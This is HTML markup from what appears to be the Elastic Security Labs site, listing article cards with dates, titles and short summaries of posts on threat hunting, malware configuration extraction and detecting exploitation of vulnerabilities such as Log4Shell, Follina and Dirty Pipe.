srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2FHunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion%2Fblog-thumb-roman-columns.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2FHunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion%2Fblog-thumb-roman-columns.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2FHunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion%2Fblog-thumb-roman-columns.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">1 March 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Hunting for Suspicious Windows Libraries for Execution and Defense Evasion</h3><p class="text-sm text-zinc-400">Learn more about discovering threats by hunting through DLL load events, one way to reveal the presence of known and unknown malware in noisy process event data.</p></div></a><a href="/security-labs/sandboxing-antimalware-products"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Sandboxing Antimalware Products for Fun and Profit" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fsandboxing-antimalware-products%2Fblog-thumb-tools-various.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fsandboxing-antimalware-products%2Fblog-thumb-tools-various.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fsandboxing-antimalware-products%2Fblog-thumb-tools-various.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">21 February 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Sandboxing Antimalware Products for Fun and Profit</h3><p class="text-sm text-zinc-400">This article demonstrates a flaw that allows attackers to bypass a Windows security mechanism which protects anti-malware products from various forms of attack.</p></div></a><a href="/security-labs/netwire-dynamic-configuration-extraction"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="NETWIRE Dynamic Configuration Extraction" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fnetwire-dynamic-configuration-extraction%2Flock-code-combination-configuration.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fnetwire-dynamic-configuration-extraction%2Flock-code-combination-configuration.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fnetwire-dynamic-configuration-extraction%2Flock-code-combination-configuration.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">30 January 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">NETWIRE Dynamic Configuration Extraction</h3><p class="text-sm text-zinc-400">Elastic Security Labs discusses the NETWIRE trojan and is releasing a tool to dynamically extract configuration files.</p></div></a><a href="/security-labs/finding-truth-in-the-shadows"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Finding Truth in the Shadows" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Ffinding-truth-in-the-shadows%2Fblog-thumb-laser-tunnel.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Ffinding-truth-in-the-shadows%2Fblog-thumb-laser-tunnel.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Ffinding-truth-in-the-shadows%2Fblog-thumb-laser-tunnel.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">26 January 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Finding Truth in the Shadows</h3><p class="text-sm text-zinc-400">Let's discuss three benefits that Hardware Stack Protections brings beyond the intended exploit mitigation capability, and explain some limitations.</p></div></a><a href="/security-labs/vulnerability-summary-follina"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Vulnerability summary: Follina, CVE-2022-30190" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fvulnerability-summary-follina%2Fblog-security-detection-720x420.png&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fvulnerability-summary-follina%2Fblog-security-detection-720x420.png&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fvulnerability-summary-follina%2Fblog-security-detection-720x420.png&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">19 January 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Vulnerability summary: Follina, CVE-2022-30190</h3><p class="text-sm text-zinc-400">Elastic is deploying a new malware signature to identify the use of the Follina vulnerability. Learn more in this post.</p></div></a><a href="/security-labs/get-injectedthreadex-detection-thread-creation-trampolines"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Get-InjectedThreadEx – Detecting Thread Creation Trampolines" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fget-injectedthreadex-detection-thread-creation-trampolines%2Fphoto-edited-02-e.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fget-injectedthreadex-detection-thread-creation-trampolines%2Fphoto-edited-02-e.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fget-injectedthreadex-detection-thread-creation-trampolines%2Fphoto-edited-02-e.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">7 December 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Get-InjectedThreadEx – Detecting Thread Creation Trampolines</h3><p class="text-sm text-zinc-400">In this blog, we will demonstrate how to detect each of four classes of process trampolining and release an updated PowerShell detection script – Get-InjectedThreadEx</p></div></a><a href="/security-labs/emotet-dynamic-configuration-extraction"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="EMOTET Dynamic Configuration Extraction" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Femotet-dynamic-configuration-extraction%2Flock-code-combination-configuration.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Femotet-dynamic-configuration-extraction%2Flock-code-combination-configuration.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Femotet-dynamic-configuration-extraction%2Flock-code-combination-configuration.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">1 December 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">EMOTET Dynamic Configuration Extraction</h3><p class="text-sm text-zinc-400">Elastic Security Labs discusses the EMOTET trojan and is releasing a tool to dynamically extract configuration files using code emulators.</p></div></a><a href="/security-labs/analysis-of-log4shell-cve-2021-45046"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Analysis of Log4Shell vulnerability & CVE-2021-45046" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fanalysis-of-log4shell-cve-2021-45046%2Fphoto-edited-12-e.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fanalysis-of-log4shell-cve-2021-45046%2Fphoto-edited-12-e.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fanalysis-of-log4shell-cve-2021-45046%2Fphoto-edited-12-e.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">30 November 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Analysis of Log4Shell vulnerability & CVE-2021-45046</h3><p class="text-sm text-zinc-400">In this post, we cover next steps the Elastic Security team is taking for users to continue to protect themselves against CVE-2021-44228, or Log4Shell.</p></div></a><a href="/security-labs/deep-dive-into-the-ttd-ecosystem"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Deep dive into the TTD ecosystem" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdeep-dive-into-the-ttd-ecosystem%2Fphoto-edited-02-w.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdeep-dive-into-the-ttd-ecosystem%2Fphoto-edited-02-w.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdeep-dive-into-the-ttd-ecosystem%2Fphoto-edited-02-w.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">30 November 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Deep dive into the TTD ecosystem</h3><p class="text-sm text-zinc-400">This is the first in a series focused on the Time Travel Debugging (TTD) technology developed by Microsoft that was explored in detail during a recent independent research period.</p></div></a><a href="/security-labs/knotweed-assessment-summary"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="KNOTWEED Assessment Summary" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fknotweed-assessment-summary%2Fblog-thumb-blind-spots.png&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fknotweed-assessment-summary%2Fblog-thumb-blind-spots.png&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fknotweed-assessment-summary%2Fblog-thumb-blind-spots.png&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">30 November 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">KNOTWEED Assessment Summary</h3><p class="text-sm text-zinc-400">KNOTWEED deploys the Subzero spyware through the use of 0-day exploits for Adobe Reader and the Windows operating system. Once initial access is gained, it uses different sections of Subzero to maintain persistence and perform actions on the host.</p></div></a><a href="/security-labs/detecting-log4j2-with-elastic-security"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Detecting Exploitation of CVE-2021-44228 (Log4j2) with Elastic Security" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetecting-log4j2-with-elastic-security%2Fblog-security-detection-720x420.png&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetecting-log4j2-with-elastic-security%2Fblog-security-detection-720x420.png&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetecting-log4j2-with-elastic-security%2Fblog-security-detection-720x420.png&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">22 November 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Detecting Exploitation of CVE-2021-44228 (Log4j2) with Elastic Security</h3><p class="text-sm text-zinc-400">This blog post provides a summary of CVE-2021-44228 and provides Elastic Security users with detections to find active exploitation of the vulnerability in their environment. Further updates will be provided to this post as we learn more.</p></div></a><a href="/security-labs/detection-rules-for-sigred-vulnerability"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Detection rules for SIGRed vulnerability" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetection-rules-for-sigred-vulnerability%2Fblog-thumb-security-laptop.png&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetection-rules-for-sigred-vulnerability%2Fblog-thumb-security-laptop.png&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetection-rules-for-sigred-vulnerability%2Fblog-thumb-security-laptop.png&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">22 November 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Detection rules for SIGRed vulnerability</h3><p class="text-sm text-zinc-400">The SIGRed vulnerability impacts all systems leveraging the Windows DNS server service (Windows 2003+). To defend your environment, we recommend implementing the detection logic included in this blog post using technology like Elastic Security.</p></div></a><a href="/security-labs/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Elastic's response to the Spring4Shell vulnerability (CVE-2022-22965)" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965%2Fthumbnail-security-logos-lock.png&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965%2Fthumbnail-security-logos-lock.png&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965%2Fthumbnail-security-logos-lock.png&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">22 November 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Elastic's response to the Spring4Shell vulnerability (CVE-2022-22965)</h3><p class="text-sm text-zinc-400">Provide executive-level details about CVE-2022-22965, a recently-disclosed remote code execution (RCE) vulnerability also known as “Spring4Shell”.</p></div></a><a href="/security-labs/detecting-and-responding-to-dirty-pipe-with-elastic"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Detecting and responding to Dirty Pipe with Elastic" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetecting-and-responding-to-dirty-pipe-with-elastic%2Fphoto-edited-01%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetecting-and-responding-to-dirty-pipe-with-elastic%2Fphoto-edited-01%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetecting-and-responding-to-dirty-pipe-with-elastic%2Fphoto-edited-01%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">9 September 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Detecting and responding to Dirty Pipe with Elastic</h3><p class="text-sm text-zinc-400">Elastic Security is releasing detection logic for the Dirty Pipe exploit.</p></div></a><a href="/security-labs/getting-the-most-out-of-transforms-in-elastic"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Getting the Most Out of Transformers in Elastic" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fgetting-the-most-out-of-transforms-in-elastic%2Fmachine-learning-1200x628px-2021-notext.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fgetting-the-most-out-of-transforms-in-elastic%2Fmachine-learning-1200x628px-2021-notext.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fgetting-the-most-out-of-transforms-in-elastic%2Fmachine-learning-1200x628px-2021-notext.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">23 August 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Getting the Most Out of Transformers in Elastic</h3><p class="text-sm text-zinc-400">In this blog, we will briefly talk about how we fine-tuned a transformer model meant for a masked language modeling (MLM) task, to make it suitable for a classification task.</p></div></a><a href="/security-labs/hunting-memory-net-attacks"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Hunting For In-Memory .NET Attacks" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fhunting-memory-net-attacks%2Fphoto-edited-04%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fhunting-memory-net-attacks%2Fphoto-edited-04%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fhunting-memory-net-attacks%2Fphoto-edited-04%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">21 June 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Hunting For In-Memory .NET Attacks</h3><p class="text-sm text-zinc-400">As a follow up to my DerbyCon presentation, this post will investigate an emerging trend of adversaries using .NET-based in-memory techniques to evade detection</p></div></a><a href="/security-labs/hunting-memory"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Hunting In Memory" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fhunting-memory%2Fblog-thumb-generic-black.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fhunting-memory%2Fblog-thumb-generic-black.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fhunting-memory%2Fblog-thumb-generic-black.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">21 June 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Hunting In Memory</h3><p class="text-sm text-zinc-400">Threat Hunters are charged with the difficult task of sifting through vast sources of diverse data to pinpoint adversarial activity at any stage in the attack.</p></div></a><a href="/security-labs/collecting-and-operationalizing-threat-data-from-the-mozi-botnet"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Collecting and operationalizing threat data from the Mozi botnet" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fcollecting-and-operationalizing-threat-data-from-the-mozi-botnet%2Fblog-thumb-mozi-botnet.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fcollecting-and-operationalizing-threat-data-from-the-mozi-botnet%2Fblog-thumb-mozi-botnet.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fcollecting-and-operationalizing-threat-data-from-the-mozi-botnet%2Fblog-thumb-mozi-botnet.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">2 June 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Collecting and operationalizing threat data from the Mozi botnet</h3><p class="text-sm text-zinc-400">The Mozi botnet is an ongoing malware campaign targeting unsecured and vulnerable networking devices. This post will showcase the analyst journey of collecting, analyzing, and operationalizing threat data from the Mozi botnet.</p></div></a><a href="/security-labs/detection-and-response-for-the-actively-exploited-proxyshell-vulnerabilities"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Detection and response for the actively exploited ProxyShell vulnerabilities" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetection-and-response-for-the-actively-exploited-proxyshell-vulnerabilities%2Fblog-thumb-blind-spots.png&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetection-and-response-for-the-actively-exploited-proxyshell-vulnerabilities%2Fblog-thumb-blind-spots.png&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetection-and-response-for-the-actively-exploited-proxyshell-vulnerabilities%2Fblog-thumb-blind-spots.png&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">2 June 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Detection and response for the actively exploited ProxyShell vulnerabilities</h3><p class="text-sm text-zinc-400">In the last week, Elastic Security has observed the exploitation of Microsoft Exchange vulnerabilities associated with ProxyShell. Review the post to find newly released details about this activity.</p></div></a><a href="/security-labs/nimbuspwn-leveraging-vulnerabilities-to-exploit-linux-via-privilege-escalation"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Nimbuspwn: Leveraging vulnerabilities to exploit Linux via Privilege Escalation" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fnimbuspwn-leveraging-vulnerabilities-to-exploit-linux-via-privilege-escalation%2Fthumb-report-threat-hunting.png&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fnimbuspwn-leveraging-vulnerabilities-to-exploit-linux-via-privilege-escalation%2Fthumb-report-threat-hunting.png&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fnimbuspwn-leveraging-vulnerabilities-to-exploit-linux-via-privilege-escalation%2Fthumb-report-threat-hunting.png&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">2 June 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Nimbuspwn: Leveraging vulnerabilities to exploit Linux via Privilege Escalation</h3><p class="text-sm text-zinc-400">Microsoft 365 Defender team released a post detailing several identified vulnerabilities. These vulnerabilities allow adversarial groups to escalate privileges on Linux systems, allowing for deployment of payloads, ransomware, or other attacks.</p></div></a><a href="/security-labs/testing-okta-visibility-and-detection-dorothy"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Testing your Okta visibility and detection with Dorothy and Elastic Security" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Ftesting-okta-visibility-and-detection-dorothy%2Fblog-thumb-dorothy-cow.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Ftesting-okta-visibility-and-detection-dorothy%2Fblog-thumb-dorothy-cow.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Ftesting-okta-visibility-and-detection-dorothy%2Fblog-thumb-dorothy-cow.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">2 June 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Testing your Okta visibility and detection with Dorothy and Elastic Security</h3><p class="text-sm text-zinc-400">Dorothy is a tool for security teams to test their visibility and detection capabilities for their Okta environment. IAM solutions are frequently targeted by adversaries but poorly monitored. Learn how to get started with Dorothy in this post.</p></div></a><a href="/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Embracing offensive tooling: Building detections against Koadic using EQL" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fembracing-offensive-tooling-building-detections-against-koadic-using-eql%2Fblog-thumb-network-attack-map.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fembracing-offensive-tooling-building-detections-against-koadic-using-eql%2Fblog-thumb-network-attack-map.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fembracing-offensive-tooling-building-detections-against-koadic-using-eql%2Fblog-thumb-network-attack-map.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">1 June 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Embracing offensive tooling: Building detections against Koadic using EQL</h3><p class="text-sm text-zinc-400">Find new ways to build behavioral detections against post-exploitation frameworks such as Koadic using Event Query Language (EQL).</p></div></a><a href="/security-labs/practical-security-engineering-stateful-detection"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Practical security engineering: Stateful detection" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fpractical-security-engineering-stateful-detection%2Fblog-thumb-digital-shield.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fpractical-security-engineering-stateful-detection%2Fblog-thumb-digital-shield.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fpractical-security-engineering-stateful-detection%2Fblog-thumb-digital-shield.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">1 June 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Practical security engineering: Stateful detection</h3><p class="text-sm text-zinc-400">By formalizing stateful detection in your rules, as well as your engineering process, you increase your detection coverage over future and past matches. In this blog post, learn why stateful detection is an important concept to implement.</p></div></a></div></div></main><footer class="mt-auto text-xs md:text-sm"><div class="container py-6 flex flex-col md:flex-row gap-2 md:gap-0 justify-between items-center"><div class="text-zinc-300"><nav><ul class="flex space-x-4"><li><a class="hover:text-white font-medium" href="/security-labs/sitemap.xml">Sitemap</a></li><li><a class="hover:text-white font-medium flex items-center space-x-1" href="https://elastic.co?utm_source=elastic-search-labs&utm_medium=referral&utm_campaign=search-labs&utm_content=footer"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" aria-hidden="true" class="inline-block w-3 h-3"><path stroke-linecap="round" stroke-linejoin="round" d="M13.5 6H5.25A2.25 2.25 0 003 8.25v10.5A2.25 2.25 0 005.25 21h10.5A2.25 2.25 0 0018 18.75V10.5m-10.5 6L21 3m0 0h-5.25M21 3v5.25"></path></svg><span>Elastic.co</span></a></li><li><a class="hover:text-white font-medium flex items-center space-x-1" href="https://twitter.com/elasticseclabs"><svg class="w-4 h-4 inline-block w-3 h-3" viewBox="0 0 24 24"><path fill="currentColor" d="M23.954 4.569c-.885.389-1.83.653-2.825.772a4.98 4.98 0 002.187-2.746 9.955 9.955 0 01-3.157 1.204 4.98 4.98 0 00-8.49 4.54A14.128 14.128 0 011.69 3.05a4.98 4.98 0 001.54 6.638A4.94 4.94 0 011.2 8.62v.06a4.98 4.98 0 004 4.87 4.94 4.94 0 01-2.24.086 4.98 4.98 0 004.64 3.45A9.97 9.97 0 010 20.35a14.075 14.075 0 007.59 2.22c9.16 0 14.17-7.583 14.17-14.17 0-.217-.005-.434-.015-.65a10.128 10.128 0 